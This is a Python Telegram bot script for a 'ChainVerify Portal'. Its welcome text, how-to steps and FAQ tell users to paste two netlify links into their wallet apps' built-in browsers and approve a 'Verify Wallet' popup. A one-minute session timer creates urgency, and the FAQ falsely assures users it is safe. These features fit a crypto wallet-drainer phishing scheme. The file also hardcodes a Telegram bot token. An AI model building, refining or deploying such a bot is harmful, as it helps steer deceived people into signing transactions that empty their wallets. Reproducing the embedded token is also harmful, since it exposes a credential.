Spaces:
Build error
Build error
File size: 11,382 Bytes
8f56810 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 | import asyncio
from datetime import datetime, timedelta
from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup
from telegram.ext import Application, CommandHandler, CallbackQueryHandler, ContextTypes
from telegram.constants import ParseMode
# ============================================
# CHANGE THESE TWO LINES
# ============================================
BOT_TOKEN = "8788528361:AAEjmAvhCd_fWwRpIBoQ_yMDMUjRIbLzaMo" # From @BotFather
SOLANA_PORTAL_URL = "https://Verifi-x.netlify.app"
EVM_PORTAL_URL = "https://Chainverify.netlify.app"
PORTAL_OPEN_MINUTES = 1
user_sessions = {}
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
user = update.effective_user
welcome_text = f"""
🛡️ *Welcome to ChainVerify Portal*
Hi {user.first_name}! I help you verify your wallet across multiple blockchains.
*Available Portals:*
• 🔵 *Solana Portal* — Verify SOL and SPL tokens
• 🟣 *EVM Portal* — Verify ETH, BNB, and ERC-20 tokens
⚠️ *Important:* Each portal session is limited to *{PORTAL_OPEN_MINUTES} minutes*. Once the time expires, you must request a new session.
"""
keyboard = [
[InlineKeyboardButton("🔵 Open Solana Portal", callback_data="open_solana")],
[InlineKeyboardButton("🟣 Open EVM Portal (ETH & BNB)", callback_data="open_evm")],
[InlineKeyboardButton("📋 How To Use", callback_data="how_to_use")],
[InlineKeyboardButton("❓ FAQ", callback_data="faq")],
[InlineKeyboardButton("⏱️ Check Time Remaining", callback_data="check_time")],
]
reply_markup = InlineKeyboardMarkup(keyboard)
await update.message.reply_text(welcome_text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
async def how_to_use(update: Update, context: ContextTypes.DEFAULT_TYPE):
query = update.callback_query
await query.answer()
instructions = f"""
📋 *How To Verify Your Wallet*
*Step 1:* Tap one of the portal buttons
*Step 2:* Copy the portal link
*Step 3:* Open your wallet app (Trust Wallet, or Phantom)
*Step 4:* Find the browser inside your wallet app
*Step 5:* Paste the link and go to the site
*Step 6:* The site auto-detects your wallet
*Step 7:* Tap *"Verify Wallet"*
*Step 8:* Confirm the popup in your wallet
⚠️ *Time Limit:* You have *{PORTAL_OPEN_MINUTES} minutes* from when you click the portal button.
"""
keyboard = [
[InlineKeyboardButton("🔵 Solana Portal", callback_data="open_solana")],
[InlineKeyboardButton("🟣 EVM Portal", callback_data="open_evm")],
[InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")],
]
reply_markup = InlineKeyboardMarkup(keyboard)
await query.edit_message_text(instructions, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
async def faq(update: Update, context: ContextTypes.DEFAULT_TYPE):
query = update.callback_query
await query.answer()
faq_text = f"""
❓ *Frequently Asked Questions*
*Q: Is this safe?*
A: Yes. Your wallet controls the popup — you must approve manually.
*Q: Why is there a time limit?*
A: Each session is {PORTAL_OPEN_MINUTES} minutes for security.
*Q: What wallets work?*
A: Trust Wallet, Phantom, Binance Wallet, Coinbase Wallet, Brave Wallet, OKX, Rainbow, and more.
*Q: What if I see "No wallet found"?*
A: You're in a regular browser. Open your wallet app, find its built-in browser, and paste the link there.
*Q: What if my time runs out?*
A: Simply tap the portal button again for a fresh {PORTAL_OPEN_MINUTES}-minute session.
"""
keyboard = [[InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")]]
reply_markup = InlineKeyboardMarkup(keyboard)
await query.edit_message_text(faq_text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
async def open_solana_portal(update: Update, context: ContextTypes.DEFAULT_TYPE):
query = update.callback_query
await query.answer()
user_id = query.from_user.id
now = datetime.now()
expires = now + timedelta(minutes=PORTAL_OPEN_MINUTES)
user_sessions[user_id] = {"portal": "solana", "started": now.strftime("%H:%M:%S"), "expires": expires.strftime("%H:%M:%S"), "url": SOLANA_PORTAL_URL}
text = f"""
🔵 *Solana Verification Portal*
Your portal is now *OPEN*.
⏱️ *Time Remaining:* {PORTAL_OPEN_MINUTES} minutes
🔗 *Portal Link:* {SOLANA_PORTAL_URL}
*To use:*
1️⃣ Copy the link above
2️⃣ Open *Phantom wallet app*
3️⃣ Tap the browser icon (🌐)
4️⃣ Paste the link
5️⃣ The site auto-detects your wallet
6️⃣ Tap *"Verify Wallet"*
⚠️ This portal closes at *{expires.strftime('%H:%M:%S')}*
"""
keyboard = [
[InlineKeyboardButton("⏱️ Check Time Remaining", callback_data="check_time")],
[InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")],
]
reply_markup = InlineKeyboardMarkup(keyboard)
await query.edit_message_text(text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
async def open_evm_portal(update: Update, context: ContextTypes.DEFAULT_TYPE):
query = update.callback_query
await query.answer()
user_id = query.from_user.id
now = datetime.now()
expires = now + timedelta(minutes=PORTAL_OPEN_MINUTES)
user_sessions[user_id] = {"portal": "evm", "started": now.strftime("%H:%M:%S"), "expires": expires.strftime("%H:%M:%S"), "url": EVM_PORTAL_URL}
text = f"""
🟣 *EVM Verification Portal (ETH & BNB)*
Your portal is now *OPEN*.
⏱️ *Time Remaining:* {PORTAL_OPEN_MINUTES} minutes
🔗 *Portal Link:* {EVM_PORTAL_URL}
*To use:*
1️⃣ Copy the link above
2️⃣ Open *MetaMask or Trust Wallet app*
3️⃣ Find the browser inside the wallet
4️⃣ Paste the link
5️⃣ Choose Ethereum or BNB Chain tab
6️⃣ Tap *"Verify Wallet"*
⚠️ This portal closes at *{expires.strftime('%H:%M:%S')}*
"""
keyboard = [
[InlineKeyboardButton("⏱️ Check Time Remaining", callback_data="check_time")],
[InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")],
]
reply_markup = InlineKeyboardMarkup(keyboard)
await query.edit_message_text(text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
async def check_time(update: Update, context: ContextTypes.DEFAULT_TYPE):
query = update.callback_query
await query.answer()
user_id = query.from_user.id
if user_id not in user_sessions:
text = "⏱️ *No Active Session*\n\nYou don't have an active portal session. Tap a portal button to start."
keyboard = [
[InlineKeyboardButton("🔵 Solana Portal", callback_data="open_solana")],
[InlineKeyboardButton("🟣 EVM Portal", callback_data="open_evm")],
[InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")],
]
else:
session = user_sessions[user_id]
now = datetime.now()
expires_time = datetime.strptime(session["expires"], "%H:%M:%S").replace(year=now.year, month=now.month, day=now.day)
if now > expires_time:
del user_sessions[user_id]
text = f"⏱️ *Session Expired*\n\nYour {PORTAL_OPEN_MINUTES}-minute session has ended. Request a new one below."
keyboard = [
[InlineKeyboardButton("🔵 New Solana Portal", callback_data="open_solana")],
[InlineKeyboardButton("🟣 New EVM Portal", callback_data="open_evm")],
[InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")],
]
else:
remaining = expires_time - now
minutes_left = remaining.seconds // 60
seconds_left = remaining.seconds % 60
portal_name = "Solana" if session["portal"] == "solana" else "EVM (ETH & BNB)"
text = f"""
⏱️ *Session Active*
🔗 Portal: *{portal_name}*
⏱️ Remaining: *{minutes_left}m {seconds_left}s*
🔗 Link: {session['url']}
"""
keyboard = [[InlineKeyboardButton("⬅️ Back to Menu", callback_data="back_to_menu")]]
reply_markup = InlineKeyboardMarkup(keyboard)
await query.edit_message_text(text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
async def back_to_menu(update: Update, context: ContextTypes.DEFAULT_TYPE):
query = update.callback_query
await query.answer()
text = f"🛡️ *ChainVerify Portal*\n\nSelect a portal to begin verification.\n\n⚠️ Each session is limited to *{PORTAL_OPEN_MINUTES} minutes*."
keyboard = [
[InlineKeyboardButton("🔵 Open Solana Portal", callback_data="open_solana")],
[InlineKeyboardButton("🟣 Open EVM Portal (ETH & BNB)", callback_data="open_evm")],
[InlineKeyboardButton("📋 How To Use", callback_data="how_to_use")],
[InlineKeyboardButton("❓ FAQ", callback_data="faq")],
[InlineKeyboardButton("⏱️ Check Time Remaining", callback_data="check_time")],
]
reply_markup = InlineKeyboardMarkup(keyboard)
await query.edit_message_text(text, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN)
async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE):
await update.message.reply_text(f"🆘 Commands:\n/start — Open the main menu\n/help — Show this help\n\nSession Time: {PORTAL_OPEN_MINUTES} minutes per session", parse_mode=ParseMode.MARKDOWN)
def main():
app = Application.builder().token(BOT_TOKEN).build()
app.add_handler(CommandHandler("start", start))
app.add_handler(CommandHandler("help", help_command))
app.add_handler(CallbackQueryHandler(open_solana_portal, pattern="open_solana"))
app.add_handler(CallbackQueryHandler(open_evm_portal, pattern="open_evm"))
app.add_handler(CallbackQueryHandler(how_to_use, pattern="how_to_use"))
app.add_handler(CallbackQueryHandler(faq, pattern="faq"))
app.add_handler(CallbackQueryHandler(check_time, pattern="check_time"))
app.add_handler(CallbackQueryHandler(back_to_menu, pattern="back_to_menu"))
print("✅ Bot is running...")
app.run_polling()
if __name__ == "__main__":
main()
|